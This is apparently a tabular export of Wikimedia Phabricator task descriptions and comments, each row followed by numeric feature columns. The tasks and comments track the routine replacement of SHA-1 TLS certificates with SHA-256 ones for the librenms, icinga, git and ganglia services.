100831,replace librenms's sha1 cert with sha256,"Tracking task to replace librenms's sha1 cert with sha256, in multiple steps:

[x] - reissue certificate in sha256
[x] - update configuration to use new certificate
[x] - push changes live
[ ] - revoke old sha1 certificate",Medium,50.0,1432927358,1433449483.0,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-TASK-bnpcr7iqnszzif5if6za,task_description,resolved,True,c3,1,True,False,True,-5,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,18.0,3.7058823529411766,0.6274509803921569,"Tracking task to replace librenms's sha1 cert with sha256, in multiple steps:

[x] - reissue certificate in sha256
[x] - update configuration to use new certificate
[x] - push changes live
[ ] - revoke old sha1 certificate"
478216,replace librenms's sha1 cert with sha256,"Change 215840 abandoned by Dzahn:
apache generic_vhost: add SSLCertificateChainFile

[[https://gerrit.wikimedia.org/r/215840]]",,,1434741894,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bnpcr7iqnszzif5if6za,task_subcomment,,True,c3,2,False,,,-2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,5.111111111111111,0.8333333333333334,"Change 215840 abandoned by Dzahn:
apache generic_vhost: add SSLCertificateChainFile

[[GERRIT_URL]]"
469304,replace librenms's sha1 cert with sha256,"replaced cert without making an additional config change

signature algorithm is now SHA256withRSA

grade A-    https://www.ssllabs.com/ssltest/analyze.html?d=librenms.wikimedia.org

the - in A- is because not supporting PFS which is because this uses Apache 2.2 which is because netmon1001 is precise",,,1433449460,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-bnpcr7iqnszzif5if6za,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,2.0,7.0,10.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,12.0,14.0,7.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,12.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,5.0,0.0,0.0,0.0,4.785714285714286,0.7619047619047619,"replaced cert without making an additional config change

signature algorithm is now SHA256withRSA

grade A-    URL

the - in A- is because not supporting PFS which is because this uses Apache 2.2 which is because netmon1001 is precise"
469296,replace librenms's sha1 cert with sha256,"Change 214676 merged by Dzahn:
replace librenms's sha1 cert with sha256

[[https://gerrit.wikimedia.org/r/214676]]",,,1433449080,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bnpcr7iqnszzif5if6za,task_subcomment,,True,c3,1,False,,,-4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.9,0.9,"Change 214676 merged by Dzahn:
replace librenms's sha1 cert with sha256

[[GERRIT_URL]]"
468764,replace librenms's sha1 cert with sha256,"Change 215840 had a related patch set uploaded (by Dzahn):
apache generic_vhost: add SSLCertificateChainFile

[[https://gerrit.wikimedia.org/r/215840]]
",,,1433381451,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bnpcr7iqnszzif5if6za,task_subcomment,,True,c3,1,False,,,-4,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.52,0.88,"Change 215840 had a related patch set uploaded (by Dzahn):
apache generic_vhost: add SSLCertificateChainFile

[[GERRIT_URL]]
"
467824,replace librenms's sha1 cert with sha256,"librenms doesn't use an individual .erb template for the Apache config.

instead it uses @webserver::apache::site which uses templates/apache/generic_vhost.erb  which includes:

SSLCACertificatePath /etc/ssl/certs

but we want to change that and just specify the chained file, but that would affect other services, which is a drawback to using a generic template for everything",,,1433277235,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-bnpcr7iqnszzif5if6za,task_subcomment,,True,c3,1,True,,,-5,True,0.0,1.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,6.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,3.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,6.0,7.0,0.0,0.0,0.0,3.0,0.0,4.0,4.0,0.0,1.0,0.0,0.0,0.0,4.940298507462686,0.7761194029850746,"librenms doesn't use an individual .erb template for the Apache config.

instead it usesSCREEN_NAME::apache::site which uses templates/apache/generic_vhost.erb  which includes:

SSLCACertificatePath /etc/ssl/certs

but we want to change that and just specify the chained file, but that would affect other services, which is a drawback to using a generic template for everything"
467650,replace librenms's sha1 cert with sha256,"Don't shoot me Robh, it just seems like this is your deal :)",,,1433265829,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-bnpcr7iqnszzif5if6za,task_subcomment,,True,c3,1,True,,,-5,True,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,13.0,0.0,0.0,0.0,20.0,7.0,7.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.2,1.0,"Don't shoot me Robh, it just seems like this is your deal :)"
465931,replace librenms's sha1 cert with sha256,"Change 214676 had a related patch set uploaded (by RobH):
replace librenms's sha1 cert with sha256

[[https://gerrit.wikimedia.org/r/214676]]
",,,1432927379,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bnpcr7iqnszzif5if6za,task_subcomment,,True,c3,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.740740740740741,0.8888888888888888,"Change 214676 had a related patch set uploaded (by RobH):
replace librenms's sha1 cert with sha256

[[GERRIT_URL]]
"
100830,replace icinga's sha1 cert with sha256,"Tracking task to replace icinga's sha1 cert with sha256, in multiple steps:

[x] - reissue certificate in sha256
[x] - update configuration to use new certificate
[x] - push changes live
[ ] - revoke old sha1 certificate",Medium,50.0,1432926782,1433276109.0,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-TASK-54xunqwdualighpcmj57,task_description,resolved,True,c3,1,True,False,True,-5,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,18.0,3.6666666666666665,0.6274509803921569,"Tracking task to replace icinga's sha1 cert with sha256, in multiple steps:

[x] - reissue certificate in sha256
[x] - update configuration to use new certificate
[x] - push changes live
[ ] - revoke old sha1 certificate"
467805,replace icinga's sha1 cert with sha256,"fixed by @bblack

https://gerrit.wikimedia.org/r/#/c/215404/
https://gerrit.wikimedia.org/r/#/c/215393/

https://www.ssllabs.com/ssltest/analyze.html?d=icinga.wikimedia.org
",,,1433276081,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-54xunqwdualighpcmj57,task_subcomment,,True,c3,1,True,,,-5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.5555555555555556,"fixed bySCREEN_NAME

URL
URL

URL
"
467670,replace icinga's sha1 cert with sha256,"Change 214674 merged by Dzahn:
icinga.wikimedia.org cert sha1 to sha256

[[https://gerrit.wikimedia.org/r/214674]]",,,1433267227,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-54xunqwdualighpcmj57,task_subcomment,,True,c3,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.388888888888889,0.8888888888888888,"Change 214674 merged by Dzahn:
icinga.wikimedia.org cert sha1 to sha256

[[GERRIT_URL]]"
465927,replace icinga's sha1 cert with sha256,"Change 214674 had a related patch set uploaded (by RobH):
icinga.wikimedia.org cert sha1 to sha256

[[https://gerrit.wikimedia.org/r/214674]]
",,,1432926815,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-54xunqwdualighpcmj57,task_subcomment,,True,c3,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.08,0.88,"Change 214674 had a related patch set uploaded (by RobH):
icinga.wikimedia.org cert sha1 to sha256

[[GERRIT_URL]]
"
100827,replace git's sha1 cert with sha256,"Tracking task to replace git's sha1 cert with sha256, in multiple steps:

[x] - reissue certificate in sha256
[x] - update configuration of ganglia to use new certificate
[x] - push changes live
[x] - revoke old sha1 certificate",Medium,50.0,1432926084,1433353532.0,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-TASK-2fanjsens5x2eth4tynn,task_description,resolved,True,c3,1,True,True,True,-5,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,22.0,3.5925925925925926,0.6296296296296297,"Tracking task to replace git's sha1 cert with sha256, in multiple steps:

[x] - reissue certificate in sha256
[x] - update configuration of ganglia to use new certificate
[x] - push changes live
[x] - revoke old sha1 certificate"
468427,replace git's sha1 cert with sha256,"I revoked and deleted the git.wikimedia.org key and certificate, and Daniel's patchset stops the system from installing the now delete (and also unused) cert/key from systems.",,,1433353532,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-2fanjsens5x2eth4tynn,task_subcomment,,True,c3,1,True,,,-5,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,6.0,0.0,12.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.545454545454546,0.7878787878787878,"I revoked and deleted the git.wikimedia.org key and certificate, and Daniel's patchset stops the system from installing the now delete (and also unused) cert/key from systems."
468402,replace git's sha1 cert with sha256,"Change 214673 abandoned by RobH:
git.wikimedia.org.crt sha1 to sha256

Reason:
git.w.o lives behind misc-web, this cert doesn't need to exist.

[[https://gerrit.wikimedia.org/r/214673]]",,,1433351978,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2fanjsens5x2eth4tynn,task_subcomment,,True,c3,1,False,,,-5,True,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,11.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.9444444444444446,0.8333333333333334,"Change 214673 abandoned by RobH:
git.wikimedia.org.crt sha1 to sha256

Reason:
git.w.o lives behind misc-web, this cert doesn't need to exist.

[[GERRIT_URL]]"
466807,replace git's sha1 cert with sha256,"Indeed, it is behind misc-web.  I think we can indeed revoke this cert/keypair entirely.  I'll keep it assigned to me and do so later today.  Once done, I'll remove from our repo(s).",,,1433174888,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-2fanjsens5x2eth4tynn,task_subcomment,,True,c3,1,True,,,-5,True,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,4.0,0.0,4.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,17.0,6.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.1458333333333335,0.7916666666666666,"Indeed, it is behind misc-web.  I think we can indeed revoke this cert/keypair entirely.  I'll keep it assigned to me and do so later today.  Once done, I'll remove from our repo(s)."
466648,replace git's sha1 cert with sha256,git.wikimedia.org is behind misc-web. Is this cert still needed?,,,1433160152,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-2fanjsens5x2eth4tynn,task_subcomment,,True,c3,1,True,,,-5,True,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.3076923076923075,1.0,git.wikimedia.org is behind misc-web. Is this cert still needed?
465924,replace git's sha1 cert with sha256,"Change 214673 had a related patch set uploaded (by RobH):
git.wikimedia.org.crt sha1 to sha256

[[https://gerrit.wikimedia.org/r/214673]]
",,,1432926362,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2fanjsens5x2eth4tynn,task_subcomment,,True,c3,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.125,0.875,"Change 214673 had a related patch set uploaded (by RobH):
git.wikimedia.org.crt sha1 to sha256

[[GERRIT_URL]]
"
100825,replace ganglia's sha1 cert with sha256,"Tracking task to replace ganglia's sha1 cert with sha256, in multiple steps:

[x] - reissue certificate in sha256
[x] - update configuration of ganglia to use new certificate
[x] - push changes live
[ ] - revoke old sha1 certificate",Medium,50.0,1432925308,1433439731.0,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-TASK-uc7c22jie37424dzsvcj,task_description,resolved,True,c3,1,True,False,True,-5,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,17.0,3.7169811320754715,0.6226415094339622,"Tracking task to replace ganglia's sha1 cert with sha256, in multiple steps:

[x] - reissue certificate in sha256
[x] - update configuration of ganglia to use new certificate
[x] - push changes live
[ ] - revoke old sha1 certificate"
469166,replace ganglia's sha1 cert with sha256,"before:

{F174573}

{F174575}

after:

{F174577}

{F174579}",,,1433439567,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uc7c22jie37424dzsvcj,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8095238095238093,0.47619047619047616,"before:

{F174573}

{F174575}

after:

{F174577}

{F174579}"
469138,replace ganglia's sha1 cert with sha256,"Change 215508 merged by Dzahn:
ganglia: use SSLCertificateChainFile

[[https://gerrit.wikimedia.org/r/215508]]",,,1433437691,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uc7c22jie37424dzsvcj,task_subcomment,,True,c3,1,False,,,-4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,4.529411764705882,0.8235294117647058,"Change 215508 merged by Dzahn:
ganglia: use SSLCertificateChainFile

[[GERRIT_URL]]"
469132,replace ganglia's sha1 cert with sha256,"Change 214670 merged by Dzahn:
ganglia's sha1 cert to sha256

[[https://gerrit.wikimedia.org/r/214670]]",,,1433437428,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uc7c22jie37424dzsvcj,task_subcomment,,True,c3,1,False,,,-4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.5789473684210527,0.8947368421052632,"Change 214670 merged by Dzahn:
ganglia's sha1 cert to sha256

[[GERRIT_URL]]"
467834,replace ganglia's sha1 cert with sha256,"Change 215508 had a related patch set uploaded (by Dzahn):
ganglia: use SSLCertificateChainFile

[[https://gerrit.wikimedia.org/r/215508]]
",,,1433277907,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uc7c22jie37424dzsvcj,task_subcomment,,True,c3,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.208333333333333,0.875,"Change 215508 had a related patch set uploaded (by Dzahn):
ganglia: use SSLCertificateChainFile

[[GERRIT_URL]]
"
465915,replace ganglia's sha1 cert with sha256,"Change 214670 had a related patch set uploaded (by RobH):
ganglia's sha1 cert to sha256

[[https://gerrit.wikimedia.org/r/214670]]
